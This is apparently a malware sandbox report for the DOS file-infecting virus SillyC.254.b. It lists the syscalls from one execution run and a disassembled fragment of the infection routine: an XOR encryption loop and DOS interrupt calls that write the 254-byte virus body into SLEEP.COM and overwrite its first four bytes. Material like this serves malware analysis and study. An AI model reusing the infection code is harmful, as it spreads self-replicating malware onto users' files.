Sample viewer

vx.netlux.org/Virus.DOS.SillyC.254.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:20.82021125Z 78 PC: 12c12 | Find first file
2018-12-17T22:46:20.828191866Z 47 PC: 12c1f | Get disk transfer address
2018-12-17T22:46:20.829716848Z 61 PC: 12c2b | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:46:20.837081659Z 63 PC: 12c3b | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:46:20.844724502Z 66 PC: 12c4e | Move file pointer
2018-12-17T22:46:20.84704358Z 44 PC: 22865 | Get time 0x22865: mov word ptr cs:[bp + 0x119], dx
0x2286a: mov cx, 0xd9
0x2286d: lea si, word ptr [bp + 0x121]
0x22871: xor word ptr [si], dx
0x22873: inc si
0x22874: inc si
0x22875: loop 0x22871
0x22877: mov ah, 0x40
0x22879: mov cx, 0xfe
0x2287c: lea dx, word ptr [bp + 0x100]
0x22880: int 0x21
0x22882: mov ax, 0x4200
0x22885: xor cx, cx
0x22887: xor dx, dx
0x22889: int 0x21
0x2288b: mov ah, 0x40
0x2288d: mov dx, 0xff7a
0x22890: mov cx, 4
0x22893: int 0x21
0x22895: push cs
2018-12-17T22:46:20.849935083Z 64 PC: 22882 | Write file or device (Write 254 bytes on handle 5)
2018-12-17T22:46:20.864080066Z 66 PC: 2288b | Move file pointer
2018-12-17T22:46:20.866085778Z 64 PC: 22895 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:46:20.873761431Z 64 PC: 12b18 | Write file or device (Write 44 bytes on handle 1)
2018-12-17T22:46:20.877520452Z 64 PC: 12b25 | Write file or device (Write 20 bytes on handle 1)
2018-12-17T22:46:20.882737089Z 64 PC: 12b44 | Write file or device (Write 23 bytes on handle 1)
2018-12-17T22:46:20.88868317Z 76 PC: 12b4b | Terminate with return code (Return code = '0')